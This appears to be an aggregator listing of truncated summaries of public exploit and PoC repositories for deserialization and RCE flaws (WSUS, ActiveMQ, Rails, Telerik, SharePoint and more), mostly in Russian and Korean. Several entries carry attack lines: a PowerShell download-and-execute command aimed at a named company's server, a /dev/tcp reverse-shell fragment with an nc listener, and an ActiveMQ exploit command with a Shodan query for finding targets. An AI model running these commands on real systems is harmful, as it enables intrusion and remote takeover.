CVE-2025-59287

В этом исследовании мы рассмотрим критическую уязвимость CVE-2025-59287, обнаруженную в среде Microsoft Windows Server Update Services WSUS. Эта уязвимость возникает из-за небезопасной десериализации объектов AuthorizationCookie, отправляемых на конечную точку GetCookie, где зашифрованные данные...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - ссылка уязвима $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

CVE-2025-27520

CVE-2025-27520 эксплойт для CVE-2025-27520. Уязвимость удалённого выполнения кода RCE, вызванная небезопасной десериализацией в последней версии v1.4.2 BentoML. Она позволяет любому неаутентифицированному пользователю выполнять произвольный код на сервере. Небезопасный фрагмент кода находится в...

CVE-2026-12191

CVE-2026-12191 CVE-2026-12191에 대한 개념 증명 익스플로잇입니다. Comma AI Openpilot의 modeld.py에 존재하는 안전하지 않은 역직렬화 취약점으로, 로컬의 낮은 권한을 가진 공격자가 pickle.load/pickle.loads 역직렬화 루틴에 악의적으로 조작된 Python pickle 페이로드를 공급하여 임의 코드 실행을 달성할 수 있습니다. 취약한 버전 Comma AI Openpilot 0.11 영향 이 안전하지 않은 역직렬화 취약점으로 인해 로컬의 낮은 권한을 가진 공격자가 취약한...

ermir

Ermir Ermir — это злонамеренный/подставной RMI-реестр, который эксплуатирует небезопасную десериализацию в любом Java-коде, вызывающем стандартные методы RMI list/lookup/bind/rebind/unbind. Требования Ruby v3 или новее. Установка Установите Ermir из rubygems.org: $ gem install ermir или клонируйт...

CVE-2024-44902-env

CVE-2024-44902 - RCE через небезопасную десериализацию в ThinkPHP Уязвимое окружение для проверки nuclei-templates. Детали уязвимости Поле| Значение ---|--- Идентификатор CVE| CVE-2024-44902 Критичность| Критическая CVSS 9.8 Продукт| ThinkPHP Затронутые версии| 6.1.3 - 8.0.4 Тип| Небезопасная...

CVE-2022-48565-POC

CVE-2022-48565 PoC Введение Это Proof of Concept PoC, демонстрирующий уязвимость CVE-2022-48565 , которая основана на небезопасной десериализации Plist-файлов в Python. Обрабатывая специально созданные файлы Property List Plist, злоумышленник может выполнить произвольный код на целевой системе, ч...

CVE-2023-46604

CVE-2023-46604 Эксплойт для CVE-2023-46604 Этот инструмент помогает эксплуатировать эту уязвимость. Shodan-запрос для поиска цели: product:"ActiveMQ" port:"61616" Использование инструмента: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single target:...

CVE-2020-8165

CVE-2020-8165 Эксплойт на Python Это код для эксплуатации CVE-2020-8165 с использованием Python3. Эксплойт работает с rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Основные источники Оригинальные данные CVE:...

react2shellVulnApp

React2Shell 취약한 은행 애플리케이션 실습 환경 CVE-2025-55182 React 및 CVE-2025-66478 Next.js를 대상으로 한 의도적으로 취약한 은행 앱으로, React2Shell을 학습, 탐지 및 안전하게 실습할 수 있습니다. 패치되지 않은 React 19.0.0 및 Next.js 15.0.3을 실행합니다. 개요 Next.js App Router 및 Server Actions로 구축된 가상의 SecureBank입니다. 기본 구성이며, 사용자 정의 위험 코드가 없고, 의도적으로 패치되지 않은 상태로...

Telerik_CVE-2019-18935

Сканер TelerikUI на Python telerikrcescan.py Примеры Проверка IP на CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Проверка имени хоста на CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Проверка диапазона сети CIDR на CVE-2019-18935 $ python3 telerikrcescan.py -...

CVE-2024-1651-PoC

CVE-2024-1651 이 CVE는 Fluid Attack Offensive Team의 Carlos Bello에 의해 발견되었습니다. 이 발견은 안전하지 않은 객체 역직렬화Insecure Object Deserialization를 통해 RCE원격 코드 실행를 얻는 것에 대해 논의합니다. 여기서는 더 빠르고 사용하기 쉬운 PoC개념 증명를 만들었습니다. 따라서 누구든지 이 발견을 재현하고자 한다면, 이를 참조 예제로 사용할 수 있습니다. Preview...

CVE-2024-1651-PoC

CVE-2024-1651 Этот CVE был обнаружен Карлосом Белло из команды Fluid Attack Offensive. В нем рассматривается небезопасная десериализация объектов для получения RCE удаленного выполнения кода. Я создал более быстрый и простой в использовании PoC доказательство концепции. Таким образом, если кто-то...

secure-by-default-rce-demo

Смягчение RCE в Node.js: DevOps как последняя линия обороны Этот проект демонстрирует критическую уязвимость удаленного выполнения кода RCE в приложении Next.js конкретно через Server Actions и то, как усиление инфраструктуры эффективно нейтрализует атаку, даже если кодовая уязвимость остается. В...

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Примеры Проверить IP-адрес на CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Проверить имя хоста на CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Проверить диапазон сети CIDR на CVE-2019-18935 $ python3 telerikrcescan....

CVE-2025-53691

CVE-2025-53691: Удаленное выполнение кода RCE через небезопасную десериализацию Тот же механизм отражения в AjaxScriptManager может быть использован для вызова метода ProcessSerializedData. Этот метод десериализует предоставленную полезную нагрузку с помощью небезопасного BinaryFormatter, что...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...

sharepoint-toolshell-cve-2025-53770

Эксплойт RCE SharePoint "ToolShell" CVE-2025-53770 Обзор CVE-2025-53770 — это критическая уязвимость удаленного выполнения кода RCE, затрагивающая Microsoft SharePoint Server 2016, 2019 и Subscription Edition только локальные версии, не SharePoint Online. Злоумышленники могут обойти аутентификаци...